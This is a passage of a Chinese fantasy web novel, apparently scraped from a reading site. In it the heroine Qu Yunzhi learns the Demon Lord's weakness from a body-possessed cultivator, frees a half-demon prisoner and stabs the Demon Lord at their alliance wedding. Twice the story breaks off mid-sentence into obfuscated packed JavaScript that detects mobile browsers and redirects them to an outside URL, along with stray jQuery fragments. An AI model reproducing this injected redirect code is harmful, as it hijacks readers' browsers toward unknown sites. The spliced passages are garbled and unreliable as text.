仲凌尉赶忙躲了过去,这东西对他威胁还挺大,为了展示诚意才不得不暴露自己的要害。 没了近在咫尺的危险,再加上话已经开了个头,他将这些年憋了许久的秘密一股脑往外倒,“想当初我还只是个水灵灵的天才法修,初出茅庐就对上了魔族里也屈指可数的尸魔。” 仲凌尉指着他现在正用的那张脸,“哝,就是这个害我至此的混账玩意儿!” “我和他拼了个两败俱伤,眼瞧着大家就要手拉手一起下黄泉。”他说到此处愤愤一拍大腿,“我那个恨啊!作为一个前途无量的万法宗天才修士,怎么甘心一事无成就这么死了?” “所以。”他吸了吸鼻子,“百般纠结我还是用了夺舍禁术,方圆百里就这尸魔一个活物,没办法,只能屈居在他这具皮囊里了。” 仲凌尉悲从心起,眼泪鼻涕哗啦啦往下流,一副看到久别重逢的亲人模样,就要抱上曲云织大腿,被她用诛邪剑警惕一指,才嘎一声顿住。 但他还是在呜呜地哭,声泪俱下,“你知道我这么些年是怎么过来的吗,每天提心吊胆生怕被发现壳子里换了一个人,从前本公子风流倜傥不拘一格,现在为了装一个面瘫尸魔都把自己整得六根清净了。” 曲云织不由赞道:“好事啊。” 仲凌尉:“啊?” 曲云织一本正经,或者说发自内心地表示,“摈弃俗世的欲望,就可以专心修道,对你往后前程助益良多。” 仲凌尉一抹眼泪,“可我现在成了个魔族,修个啥子道?” 曲云织:“……” 她转移话题,“你选择这个时候向我坦白,是想借机回到人族吗?” “回不去了。”仲凌尉忽然说。 他像是失去了浑身气力,浮夸的表情尽数一收,颓然坐在地上,重复了一遍,“我回不去了。” “夺舍禁术一生只能用一次,我此生都会困在这具尸魔皮囊里。” 曲云织默了默,“那就向你师门说明事情原委,相信他们会体谅的。” 仲凌尉扯出个比哭还难看的笑容,用力戳着眉心灵台的位置,“有什么用?事实上我已经被这具身体同化了,我想要吃人懂吗?” “就像现在。”他做出在空气中嗅闻的动作,喉结上下滑动,“我甚至能闻到你这一身皮肉诱人的香甜气味。” 曲云织下意识防备地退后几步,注意到仲凌尉脸上说不出的神情,停步。 “你想要我做些什么?” 他既然回不去人族,此时找她总该别有所求。 “是该抓紧时间。”有人肯听他埋藏多年的秘密,仲凌尉已经够满足了,不奢求更多。 他低声迅速地说:“这些年我过得浑噩,在外界看来就是中规中矩没有出格的行为,因此获得了魔尊的信任。” “我被指派了一个很重要的任务,永夜城你知道吧?” 曲云织点头。 仲凌尉抿了抿唇,“魔尊明面上派我驻守边境与段干鸿对峙,实则私底下借助魔域地脉构建永夜城。” “不,那不是区区一个永夜城,而是足以笼罩整个魔域的永夜!” “曾经剿灭一个永夜城主就让各仙门损失惨重,而一旦整个魔域成了魔尊的永夜影域,莫说今日参与联姻的修士一个跑不了,往后人族也很难再发起对魔族的有效进攻。” 曲云织面色倏地一凝。 但她没急着开口,而是等仲凌尉继续说下去,他既然坦白,就代表必定有转机。 “魔尊构建永夜影域的目的有二,一是防着云上天的神族随时随地降下神罚术,二是为了从麟符控制中解放边境魔族。” “好消息就是。”仲凌尉顿了顿,神色颇为复杂,“魔尊拿到麟符后,几乎是迫不及待就毁了。” “他开启影域时将会是最虚弱的时刻,若是麟符在手能帮他暂缓一二,可麟符没了,你可以趁机以诛邪剑重创甚至杀死他。” 曲云织皱眉,“麟符如此关键为何不等事后再摧毁?” 随即她反应过来,倘若没有仲凌尉的临场倒戈,谁能知道魔尊的底牌? 况且他本就极为厌恶鳞符的存在。 还真是,时运不济。 曲云织忽而想起气运之子的劫难一说,往简单了讲,这就是一群倒霉蛋。 天知道魔尊忠心耿耿的下属,早在效忠他之前壳子里就换了人,一点异样的举动都没有,想怀疑都找不到地方。 他甚至还选在了最差的时机毁掉麟符。 就连曲云织都忍不住在心中感慨,她转而问仲凌尉,“你从前的名字是什么?” 仲凌尉一愣,“李思归。” 曲云织说:“我会代你向你宗门师长问候,还有什么需要我照拂的地方吗?” 仲凌尉苦笑,“多谢,不过不必了,过去这么多年故人早该把我忘了。” 曲云织本着照顾的意思,其实尚未完全打消怀疑,“你没必要帮我对付魔尊,人魔两族结盟后对你应该更有利。” 仲凌尉坦诚道:“我毕竟曾是一个人族,站在过去的立场当然不愿意看魔族好过,你此举重创魔尊阻止永夜影域的构建,再联合宗门修士足够让魔族近百年毫无起色了。” 曲云织反问,“那你呢?” 仲凌尉倒是挺乐观,“本公子自保还是绰绰有余的。” 曲云织看了他片刻,承诺道:“蒙李道友相助,我必将搅得魔族不得安宁。” 她想起魔尊曾说,九幽水能够改写天性。 也就代表九幽水有那个本事,将仲云尉从魔族变回人族。 可她不确定鸿蒙至宝在自己手上还能不能用,她只是短暂欺骗了至宝所有权,实际上鸿蒙至宝的主人并不是她。 魔尊才能实现李思归真正的渴望。 但魔尊不知道仲凌尉内里是人族,仲凌尉也还没有被信任到得知九幽水作用的地步。 她同时知晓这两个秘密,但她不会说。 为了自己的利益。 “既然要逼魔尊动用永夜影域,首先得有足够的威胁。”曲云织道,“带我去见你捉到的人魔混血,他手里有早已约定好,让仙门修士动手的信号。” 原定计划是禁灵阵法被破后,以上清仙宗为首的仙门向魔族发动袭击,而与此同时,曲云织需要以诛邪剑重伤魔尊,这时上清仙宗才会动用真正的杀招。 考虑到人魔混血背叛的可能性,禁灵法阵的环节不那么重要。 真正的关键就看曲云织的刺杀能不能成功,若她成了,上清仙宗就会不顾一切发动攻势,但如果她没成,那时仙宗不会妄动,而是将此前的行为甩锅给她。 现如今曲云织提前得知魔尊的底牌,她只需要如实相告,顾念魔尊的威胁,即便没有她登场一切也会按原定计划来。 上清仙宗提前发动对魔尊的杀招,魔尊不得不开启永夜影域自保,陷入最虚弱的状态。 给她创造时机。 此前曲云织只想破坏这次联姻,但她眼下看到了一个机会,一个在今日就能杀死魔尊,取得他身上九幽水的大好时机。 所有一切都该为她铺路。 事不宜迟,在仲凌尉安排下,曲云织在一间地牢内见到了步妄语。 少年依旧粗布麻衣的打扮,懒懒坐在草席上,一只手搭上膝盖,有事没事晃两下。 见曲云织的到来,他也只是多看了一眼,“哟,你也被抓了?” 曲云织:“……被抓的只有你,我毕竟是联姻的主角,绑也得把我绑上魔尊的床。” 步妄语哦了声,“那就是来看我笑话的?” 一会儿没见,毒舌的本事厉害不少。 曲云织敲了敲牢房门口的结界,“哪儿算什么笑话,您一个魔尊之子,曾经金尊玉贵的太子殿下,隐忍潜伏这么多年,险些就让你趁着这次盟约,调动边境千万大军一举获利了。” 她有些阴阳怪气,“谁能想到你藏了这么久不露行迹,偏偏在最后关头暴露了呢?” 步妄语:“……”说得好像他有多废物。 他觉得要自证清白一下,“麟符此前不在我手里,我拿到麟符,还是在王城暴乱那一天。” 王城暴乱? 曲云织没想到都这个时候了还能听到意外的消息。 她记得由她血肉引发混乱的那一天晚上,步谨言曾莫名失踪一段时间,莫非就是那时步谨言将麟符交给了他弟弟? “你与你兄长究竟是什么关系,那天晚上他做了什么?” 步妄语闻言,讽刺一笑,“没什么好说的,不过归根究底,我落到这个地步还是拜他所赐。” 王城暴乱那一晚,步妄语接到他便宜兄长一叙的邀请。 简直是一桩稀罕事。 要知道在外界看来,他这个兄长是一个小心护着人魔混血弟弟的好哥哥形象,可实际上他们聚少离多,只是互相利用的关系。 步谨言是他人族母亲收养的弟弟,凶魔一族名声不好,在边境混得极其凄惨。 在娘亲被上任魔尊带走后,他们姐弟分离。 事实上直到娘亲死后,上一任魔尊被万俟逐鹿击杀,而他面临墙倒众人推的境地时,才第一次见到这个叔叔,此后也被他带走对外以兄弟相称。 步妄语实在好奇便宜哥哥想对他说什么,于是赴了约。 融融夜色中,青年朝他抛过来一块散发金芒的石头,“给你了。” 步妄语接过来,只一眼便认出,惊道:“麟符?这东西魔尊在找,炎魔一族也在找,居然落在了你手里?” 步谨言淡淡道:“我从阿姐的遗物中发现的。” 步妄语一顿,垂着头,眼底沉淀了郁色。 说起来挺好笑的,他爹的遗物没被杀人凶手夺走,没留给他这个急需自保的儿子,宁肯放在一个早死了的人的遗物里,被外人拿了去。 “然后呢?”步妄语头也不抬,摩挲着麟符,“现在把这东西给我又是为什么?” 步谨言神色漠然,“东西给物归原主,你自行处置便是,逃到魔域边境控制了当地的魔族,当一方逍遥自在的小霸主,做什么都随你。” “你本来就想逃离王城。” “不是你一直拘着我的吗?”步妄语翻了个白眼,“临到头知错要放我离开了,到底发生了什么让你回心转意?” 步谨言不回答,只问,“阿姐当初是怎么死的?” 步妄语声线没什么起伏,“娘亲生我的时候大出血,不慎泄露了气息,被引来的魔族分食。”那之后他爹也疯了,但身为魔尊决计不能有弱点,于是这件事连同他一起被藏了起来。 “分食吗?”步谨言若有所思,“那还差了一些。” 差一些什么? 步妄语没搞懂,但他忽然想起魔宫最近来了一个曲夫人,而魔尊也正是因为毫不掩饰对她的偏爱,落得近乎众叛亲离。 与他娘亲有相似的地方,但比他娘亲那时要好上不少。 说起来便宜兄长今夜的行为就像交代后事。 “你莫非——”步妄语死死盯着眸色恍惚的青年,“你莫非将曲夫人当成我娘亲,或者说你想要她成为另一个娘亲!” 他想让曲云织也被众多魔族围攻分食! 步谨言眼睫微动,竟露出一个笑来,半张脸被面具遮掩,但眼睛弯了弯。 步妄语被他眼中占据的疯狂与痴迷震慑住,喃喃道:“疯子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282961|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可话说完,他却觉得微妙地能理解面前这人。 凶魔一族依靠他人,尤其是亲近之人的苦难来提高修为,有时凶魔甚至会本能地给身边之人带来灾祸,正因如此他们被所有人排斥,避之唯恐不及。 而步谨言这个修为,在凶魔一族也算世所罕见。 可能正是因为他阿姐的惨死,心中最在乎之人的苦难酿成这一身本领,更讽刺的是他本来就是为了避免这个结果,才没有执意留在阿姐身边。 最终却导致他一度缺席阿姐的死亡。 他被困在了过去,无数次后悔为什么当时没能陪在阿姐身侧,身边的一切都是他梦中幻影,是他为了弥补悔意精心搭建的舞台,就这样成了一个一心求死的疯子。 而曲夫人的出现,让他找到了赴死的时机。 “你休想。” 想明白步谨言的动机,步妄语冷声阻止,“曲夫人对我还有用,可不会让你碍了我的道。” 他在这时就与颜清联系上,曲云织是正他与人族牵线搭桥的媒介。 步妄语打了个手势,将早就布置在身边的人手喊了出来,试图阻拦步谨言。 就在他们周旋之际,希辰的人手被引来,而步谨言趁乱离开,步妄语也是因此暴露了潜藏多年的人手,导致之后被段干鸿发现行迹。 再然后,就是便宜兄长的死讯传来。 步妄语心里一点感想都没有,游刃有余打发走魔尊派来调查的人,伺机进入魔宫。 他娘亲早死,他爹不在乎甚至可能有点恨他,身为人魔混血,在魔族眼中是食物,到了人族那边又人人喊打。 而便宜兄长收养了他,却只将他当一个工具,有一个处境凄凉的人魔混血栓在身边,那么凶魔哥哥的修为高一点也就不奇怪了。 他没兴趣探究一个疯子在想什么。 为什么收养他,麟符藏了这么久为何不用,又为何在最后将麟符交给他,让他逃往边境过自己的舒坦日子? 这些他通通都不在乎。 只是,当步妄语回到空无一人的家中,即便兄长还在时,二人也顶多点头示意,之后再无话。 面对习以为常的冷清与寂静,他仍是忍不住会想—— “这个世界上没有我的同伴。” 他变回了孤身一人。 “那就由我来成为你的同伴呀。”曲云织笑吟吟地说。 步妄语思绪抽回,随即下意识嫌弃道:“开什么玩笑,就你?” 曲云织一点儿也不谦虚,“没错,就是我。” “生病时对你嘘寒问暖,受伤了就关怀备至,你开心时与你分享喜悦,你难过了痛骂害你的人,有什么困难一同绞尽脑汁——” “那如果我犯错呢?”步妄语冷笑着打断她,就像被戳中了伤口,前所未有的愤怒在心中翻涌,让他忍不住话语像浸润了毒汁,“比如我犯下什么无可挽回的重罪,你难道要与我同流合污?” “笑话,不过是嘴上说着好听,实际触犯了你的利益就会不假思索翻脸!” “你们人族永远是这个德行,因为一句非我族类其心必异,就能将莫须有的猜忌加诸在我身上。” “就像这次,各大仙门看似答应与魔族结盟,一旦你有机会将魔尊重创就会在下一刻翻脸,而你失败了他们又会转手将你献给魔尊。” “自私自利,虚伪至极,根本不存在真正纯粹的好意,天底下所有人都一个样!” 曲云织静静看着牢房里的异瞳少年,他看起来就像一只伤痕累累的刺猬,蜷缩柔软的肚皮,竖起对外的尖刺,缩在无依无靠的墙角中瑟瑟发抖。 她恍然间明白了这个人魔混血的少年心中真正所求。 “你想要一个归宿。” 不是与仙宗交易得来的光明正大的身份,也不是利用麟符创造的王国乐园。 “你想要被他人所喜爱,不是你处心积虑地讨好而来,而是毫无芥蒂毫无缘由地接纳你。” 步妄语话音戛然而止,他像是猝不及防被人扒了壳的河蚌,脆弱的要害在日光下展露无遗,激动的情绪尚未平复,他粗喘了几口气,故作不在乎,“是啊,很幼稚又很可笑的想法,但那又怎样?” “简单啊。”曲云织视线下移,扫过他纤细的肢体,“折断你的手脚,把你往大街上一扔,十个人里总有一个会怜爱你。” 步妄语气急败坏,“你简直在胡说八道!” 曲云织一把攥住牢房栏杆,与结界相撞发出一声爆响,她却浑不在意焦黑的掌心,只怒声开口,“胡说什么八道?” “你这辈子见过几个人就敢说天底下所有人一个模样,你离开过魔域几次,到过哪些地方,凭什么以为你所见所闻就是世界的全貌,凭什么笃定这个世界上没有你的同伴?” 步妄语哑口无言,讷然道:“我……” “这就说不出话来了?”曲云织歪头,极尽嚣张跋扈的模样,“先前不是很能说吗?” 步妄语都快被她气死了,眼眶红了红,“可我现在被抓住,沦为阶下囚,人生还有没有以后都不一定!” 曲云织的语气忽而平静下来,“所以我带你出去来了。” 她取出仲凌尉给她的钥匙,打开牢房,向陷入怔愣的异瞳少年伸出手,“要不要跟我走,带你离开魔域?” 步妄语愣愣看着眼前女子。 他知道她别有所图,因为她说得好听,她自己却不属于慷慨对他人释放善心的那一类人。 可他就是被她的话所吸引,被掐住了最深的渴求,于是明知是颗带毒的糖,也要甘之如饴地咽下去。 “坏女人。” 步妄语小声嘟囔,擦了擦眼角多余的泪。 他再次重复,“坏女人。” 让他明知眼前兴许是深渊,也要义无反顾地踏前,回应那只向他伸出的手。 “啪!” 曲云织毫不留情拍开了他。 在步妄语心跳都为之一顿时,曲云织转而往异瞳少年的额头上弹了个响亮的脑瓜崩。 “自大狂妄的小鬼。”她笑着回敬。 27. 第 27 章 “魔尊,别来无恙,上次见面还是在上次吧,哈哈。” 温从声一脸和善,笑得脸上的褶子都快展开了,作为上清仙宗资历最深的长老,在掌门不便出关的前提下,当仁不让成了签订人魔二族盟约的最佳人选。 万俟逐鹿盯了面前这个老头儿片刻,“你谁?” 温从声笑容不变,嘴角的弧度像沾在了脸上,只胡子微不可查抖了抖。 “开个玩笑而已,别介怀。”万俟逐鹿轻飘飘地一句带过,“上清仙宗大长老自然是无人不知的,尤其在我们魔族。” 温从声挠了挠头,“惭愧惭愧,没想到老夫在魔族这么出名。” 他长长叹一声,颇为感慨,“更没想到与魔族打了半辈子,有朝一日还能见到人魔二族联姻结盟的一天。” “果然是人老了,不像你这样的小年轻,跟不上时代咯!” 万俟逐鹿也带了点笑,“上清仙宗人才济济,相信温长老很快能将担子交给后辈,安心颐养天年。” 温从声听了却直摇头,唉声叹气,“那群小崽子还远远不够格,还是先辛苦我这把老骨头,将眼下最重要的事给处理了再说。” 万俟逐鹿点头,“是该如此。” 二人相视,皮笑肉不笑地行了一个礼节,随后转向高台之下的众人。 参加这次典礼的宾客很多,仙门修士与魔族泾渭分明坐在两侧,表情看不出多少对结盟的喜悦,反而一个个剑拔弩张,严阵以待。 可能就在几天前,他们还是兵戎相见的敌手,甚至在场人之中还纠葛了几桩血海深仇。 不像来参加联姻,倒像上赶着给敌人办丧事。 温从声将这些尽收眼底,抚了抚胡须,朗声道:“各位仙门道友,还有魔族的诸位。” “就在不久前你们还在战场上拔刀相向,我知道你们骤然面临结盟的消息,依旧心怀怨气,事实上我手底下也有不少魔族的命,更有许多熟识之人陨命于魔族,谁又能真正不恨呢?” “魔吃人,人杀魔,天经地义。” “可这样无休止的厮杀什么时候才是尽头?” “不求你们一笑泯恩仇,但请你们想一想,扪心自问,我们真的要将这样的仇怨永无止境传承给下一代吗?” 温从声一番话说得情真意切,到了激动处时掺着些许哽咽,他稳了稳声音,向身旁的魔尊一拱手。 “魔尊陛下大义,就在月余以前送来一份盟约的协议,由我上清仙宗牵头,与众位仙门道友深思熟虑过后,终是答应了此次结盟。” 万俟逐鹿微一颔首,踏前一步,双手捧一张金色契书,朗声宣读协议内容。 “其一,自今日起人魔二族立誓互不侵犯,不可擅自起干戈,不可冒犯各自边境。” “其二,魔族承诺不再捕食人族,与此相对的,人族需定期提交一批死囚,充作我等食物来源。” “其三,两族结盟后,需共同应对外来的威胁。” 万俟逐鹿说到此处,有些走神。 想要抵御神妖二族,集齐人魔两族的鸿蒙至宝这事必不可缺。 人族那边还不知道玄微死后,太乙天书落在了曲云织手里,故而他们正大肆寻找下一任气运之子。 万俟逐鹿当然不可能告诉他们,于是笑看他们将搜寻鸿蒙至宝一事写进了盟约。 剩下的条件宣读完,万俟逐鹿看向温从声,“以上便是此次盟约协议的内容,人族的诸君可还有疑议?” 温从声道:“并无。” “好!”万俟逐鹿爽快道,“今日便在诸位见证下,以本尊名义与人族签订盟约。” 他划破食指,以血为墨,在契书上写下自己姓名。 猩红血痕眨眼间被金色书页吸收,代表誓约已成,一旦反悔就要遭受天道反噬。 待温从声也签下名姓后。 万俟逐鹿眼中总算漾出真切的笑意,无聊琐碎的环节之后,终于到了他今日最期待的场面。 偏偏温从声下台前小声叮嘱,“曲云织这孩子也是老夫看着长大,她与玄微感情甚笃。” 他像个关切晚辈的长者,拉着万俟逐鹿的手拍了拍,“玄微死后,希望你能顾念他的在天之灵,好好待他的遗孀。” 万俟逐鹿手背绷起青筋,强忍着才没一把甩开。 这老头儿哪壶不开提哪壶,最后关头还非得恶心他一下。 “啊,我会的。”这句话是从他牙缝里挤出来,带着若有似无的血腥气,森然一笑,“玄微就好好在天上看着,我是如何与曲夫人恩爱两不移的。” 万俟逐鹿收拾好心情。 他向高台之下,好似铺往天边尽头的红毯伸出手。 “以本尊与上清仙宗玉京峰主,曲云织的婚礼为证,愿人魔二族共结秦晋之好,永世同心!” 霎时,礼乐奏响,钟鼓齐鸣。 彩霞飘至,祥云赐福,或有龙凤虚影相携共舞。 可直到一曲毕,新娘的身影却迟迟不见。 万俟逐鹿的笑淡了下来,目光沉沉注视着空无一人的红绸尽头。 出了什么变故? 仲凌尉呢,不是叫他看顾着点? 气氛僵硬而死寂,台下宾客本来因喜庆气氛扬起的嘴角,还木然挂着。 温从声面色也没好到哪里去。 照理来说曲云织的行动该有个结果了,是顺利破坏禁灵阵法,还是功败垂成? 温从声一时拿不定主意,该按照原计划放弃对魔尊的围杀吗? 分明是人魔二族齐聚一堂的重大场合,此时却杳然无声,所有人都在等这场联姻的另一个主角到来。 终于—— “砰!” 一道绚丽的烟花在空中炸开。 笼罩魔族王城的禁灵阵法宛如浮冰般,随着这道烟花升空而消融。 约定好的信号虽迟但到,人族修士目光具是一凛,不知是谁喊了一声,“杀!” 无需多言,各大仙门弟子手执兵器,当先一道凛冽剑光斩下魔族的头颅,血液泼洒,染红了喜庆的婚礼会场。 魔族非但没有被打个猝不及防,反而被浓重刺鼻的血气激起本能的暴虐,一个个目露兴奋,正面迎上了修士们的攻势。 场面很快乱做一团。 万俟逐鹿却不急着动,他冷冷望向温从声,“温长老这是何意,方才签订的盟约这么快就不做数了吗?” 温从声呕出一口血,面如金纸,只感觉浑身像被千锤万凿又送进烈火中熔炼,他受到了撕毁盟约的反噬,即便事先做好一系列避开天道降罪的准备,依旧被残余的威力伤得不轻。 喘的每一口气都像从嗓子里划拉出来,他牵动嘴角,挤出个皱巴的笑容,“老夫一袭话发自肺腑,人魔两族的恩怨是该早些终止。” “但凭什么要人族供着你们魔族吃喝,而不是以你魔族的血,祭我人族万世永昌!” 岂料万俟逐鹿闻听此言,眼中竟含欣赏之色,“没想到温长老人老心不老,那本尊也不必同你客气。” 他漠然挥了挥手,“今日在场的修士,一个不留!” 话落,早已埋伏好的魔族冲了出去。 温从声面色凝重,等待曲云织发出信号的这段时间,他先等来了她的传音。 原来魔尊竟想将整座魔域化作他的永夜城! 想都别想! 人族气运之子玄微陨落,而魔尊这小儿愈发如日中天。 即便明知曲云织无法偷袭魔尊得手,在他没有弱点的情况下参与此次围攻的修士无法活着走出去,温从声也要赌一把,阻了魔尊的路! 比起一个友好却强盛的魔族,还是弱小敌对的他们更顺眼些。 温从声眼一利,随意抹了抹嘴角的血,袖摆一荡,祭出了他为魔尊准备的杀招。 铺天盖地的威压转瞬降临。 所有正处于厮杀中的人与魔同时一顿,仰头惊骇地看着上空。 那已经不再是天,而像一面碎裂的镜子,搅乱的水波,无形的波动风起云涌,将天幕卷成了一张揉皱的纸。 罡风骤起,每一道都像鞭子,一切事物都在这抽打面前不堪一击,纷纷绽裂。 支离破碎的苍穹中心,宛如风暴最深处的平静海面,有隐隐约约的虚像投射而来。 仙山琼阁,云遮雾隐,幽涧清溪,奇峻陡险,俨然一副世外桃源之景。 “小秘境都带来了,还真是大手笔。” 万俟逐鹿一眼认了出来,小秘境又称洞天福地,是上古时那些修炼到清虚境的大能其道心所化,在他们死后也能遗留下来。 平日里留给宗门弟子历练,可若是拿出来当杀招,轻者被收入秘境永世不得出,重者被碾压作齑粉。 温从声居高临下道:“为魔尊你特意准备的大礼,老夫还嫌不够呢。” 他掌心往下一压,整个小秘境的重量,那里的一山一石,一草一木尽数向着魔尊一人压迫而去。 天好似阴沉了下来,其实不过是小秘境如山岳向他倾倒。 凛冽风压吹拂他一头长发,发丝间夹杂的金饰撞出银铃般脆响,喧嚷之中也就万俟逐鹿自己能听得到。 他神色沉稳,细究起来过分平静了些。 万俟逐鹿叹了口气,飞扬的眉宇有些蔫吧,早料到这桩联姻不会顺利,但真被搅得乌烟瘴气,还是会无可避免感到失落。 小秘境离他的距离愈发近了,风压如有实质,像是空气中夹杂无数把透明的刀子,将他身上割开细细密密的血痕。 万俟逐鹿对此毫无所觉,他双手结法印,阖眸,低低地念道:“起。” 如一滴浓墨迅速染黑一池清水。 笼罩魔尊的阴翳转眼间扩张到目之所及的范围,此地好像从白昼转瞬入夜。 熟悉的景象让有些资历深的修士震骇当场,他们喃喃道:“永夜城。” 许多年前也是这般,众仙门合力讨伐永夜城主,虽然成了,但那一战后损失惨重。 而今魔尊的永夜影域比之当年更为广袤,也更为强盛。 温从声眼见己方士气大损,咬牙喝道:“别怕,他永夜领域尚未完成,趁这之前杀了他!” 小秘境闻声而动,悍然撞向魔尊。 万俟逐鹿低声一笑,迎着天顶的庞然大物无惧无畏,“尽管放马过来。” 小秘境造成的空间动荡与影域相击,碰撞出令人目眩神迷又止不住作呕的奇异色彩。 余光中,魔尊却瞥见一道鲜明的红色,悄然出现在他心心念念的地方。 万俟逐鹿怔然,顾不得危急的处境,呆呆地看向红毯尽头。 曲云织不知何时站在那儿,嫁衣潋滟,手执一柄无需藏锋的诛邪剑。 对上他的目光,曲云织眼眸微弯,是一道很温和的笑容,她踩着被鲜血染得更为妖异秾艳的地毯,提着剑,自动乱之中一步步朝他走来。 万俟逐鹿竟有些晃神。 他站在原地没动,是被小秘境的空间封锁了,也是心甘情愿。 所有人似乎都在这场荒诞的婚礼上陷入厮杀,唯有魔尊在等待走向他的新婚妻子。 “我以为你不会出现的。”万俟逐鹿略有些委屈地说。 曲云织笑了下,“怎么会呢?” “你杀了仲凌尉吗?”他问。 曲云织摇摇头,想到往后李思归只能以仲凌尉的身份在魔族生活,她便隐去了这个秘密,“用些特殊手段支开了他。” 万俟逐鹿紧张道:“不会是□□吧?” 曲云织:“……” “……额。”万俟逐鹿给了自己脑袋瓜子一巴掌,“当我没说。” 而后,他的视线落在曲云织手中的诛邪剑上,“你要杀了我,取得九幽水了吗?” 曲云织:“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297985|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “不是有前提条件吗?已经满足了?”万俟逐鹿若无其事道出曲云织的秘密。 曲云织神色变了变,“你如何知晓的?” 万俟逐鹿神色十分无奈,“此前我们相处时有多次机会刺杀我,可你都放弃了,以我对你的了解,是决计不可能放过这种天赐良机的。” “所以只有一种可能,想取得我身上的九幽水,还需要满足其他条件。” “是让我对你动心吗?”魔尊猜了个大概。 曲云织并未否认。 万俟逐鹿摸了摸胸口,心脏跳动的频率有些快,似乎正是因面前之人而雀跃不已。 他歪头,凌乱的长发散落脸颊,略显茫然地说:“我原来有这么喜欢你吗?” 曲云织看他的眼神很包容,“至少在我看来,你真的很喜欢很喜欢我。” 万俟逐鹿被逗得噗嗤一声,随后缓缓地拉长了尾音,“是吗?不过很可惜,再喜欢我也不会让你如愿的。” 他的黑瞳如裹了一层寒冰,面覆冷意,脚下一踏便有结界要将曲云织阻拦在外。 曲云织瞳孔一缩,诛邪剑堪堪抵挡住结界。 她手臂用力到发颤,自己这点修为在魔尊面前压根不够看,心念电转间她忽地说了一句,“你不知道吧?仲凌尉其实是夺舍的人族。” “正是他告诉我,眼下是你最虚弱的时机,更糟糕的是麟符都毁了,补救都来不及。” 万俟逐鹿被这猝不及防的消息惊住。 就是这瞬息的松懈,曲云织抓住时机,一剑送入魔尊的胸膛。 剑刃撕裂布帛与血肉的声音响起。 迎着万俟逐鹿睁大的双眼,曲云织附在他耳边说:“你不可能成功的。” “与人族联谊?讨伐神妖二族?偷偷布置永夜影域解放边境魔族,成全你儿时的理想?” “我哪件事都不会坐视你顺遂。” 万俟逐鹿心脏一阵绞痛。 是剑伤带来的吗? 可他经历无数险死还生,受过数不清的重伤,没有哪一次来得比现在疼。 那是一种很冷、很空荡的疼痛,明明体温还是热的,血却几乎凉透了,像心底烧着的一把火终于被浇透,死灰般再看不到希冀。 他蓦地放声大笑。 “那仲凌尉有没有告诉你,即便杀了本尊,也无法阻止永夜影域的闭合。” 曲云织猛地看向他。 万俟逐鹿对上她那双浸透自己血液的眼睛,满心满眼倒映自己的身影,一想到她现在的心绪全因自己而起,生出一种报复性的畅快来。 “索性,这件事本尊谁也不曾告知。” “本尊既然打算解放整个边境魔族,怎么可能用自己的影域笼罩魔域,那与麟符的手段有何分别?” 他抓住曲云织的肩膀,用力到几乎嵌入她的皮肉里,一字一顿,字字泣血,“虽由我主导,但影域当然是用成千上万弱小卑劣,被所有人瞧不起的影魔乃至其他边境魔族共同构建的。” “你们除非立即剿灭边境所有部族,否则就只能看着影域逐渐闭合,魔族从此日渐强大,一日比一日繁荣昌盛!” “对了,你们可能今日都出不去王城,只能死在这儿!” 曲云织手一紧,握着诛邪剑的动作很稳,也很平静的搅动,将魔尊一颗炙热的心脏彻底绞碎。 万俟逐鹿一声通哼,却愈发用力,揽着曲云织的腰,不顾诛邪剑刺得更深,与她来了一个亲密无间的拥抱。 做完这些,他已然没了力气,下巴颓然搭在她肩头,嗓音低不可闻。 “你再看看,取得九幽水的条件满足了吗,本尊有没有全心全意爱上你?” 曲云织偏过头,脸上浮现看到什么荒谬事物的震撼。 如果说原本魔尊对她的爱意,是一簇风雨交加之中的火焰,不屈而旺盛,却随时可能被天灾浇灭。 那么现在就是雨过天晴,烈火燎原,燃烧得一发不可收拾。 为什么她要杀了他,他却爱她更深了? “先前我总顾念着魔族,没法将自己一颗真心尽数奉给你。” 万俟逐鹿声音渐渐微弱下去,一副放下心来的样子,带着疲惫与安然睡意,“有了影域作支撑,边境魔族再不用朝不保夕地过活,且魔族被化作一个相通的整体。” “他们不必恐惧于无尽的厮杀,回到这片荒芜的地域,率先想的也不是防备随时出现的偷袭,而是可以安心休养生息的庇护所。” “本尊的愿望已经达成。” “所以,我的路途到此为止了。” “你却还能继续走下去。” 万俟逐鹿伸手,小心翼翼触碰曲云织的脸颊,“祝你终有一日得偿所愿。” 他看着曲云织紧抿的唇角,眼眸中如被骤然击碎般,掀起的滔天巨浪。 他知道,曲云织明白了自己的未曾言明的心意。 若你也与他一样,心怀某种顾虑,可能是责任,也可能是尚未雪恨的仇怨,因此封冻了自己的内心,不再为他人所牵绊。 那就祝你前程顺遂。 所以,当你如愿以偿的那一日,一颗冰封的冷硬心肠解冻,可不可以有一点点喜欢上他。 曲云织指尖微颤,下意识想回应些什么,但想了想,又好像无话可说。 只是突然觉得,心底荒芜一片。 曲云织察觉到那只抚摸她脸颊的手垂下,揽住她的怀抱也松开。 影魔的身躯像光下消失的影子,一点痕迹都不曾留下。 曲云织闭了闭眼,眨去眼底不容出现的水光,再睁眼时已毫无波澜与异样。 她转过身,面对每一个无声望着自己的魔族与修士,稍稍仰头,目光空茫寻不到落点,却坚定而执着地高举手中诛邪剑。 曲云织向所有人宣告—— “魔尊已伏诛。” 28. 第 28 章 这句话落下后。 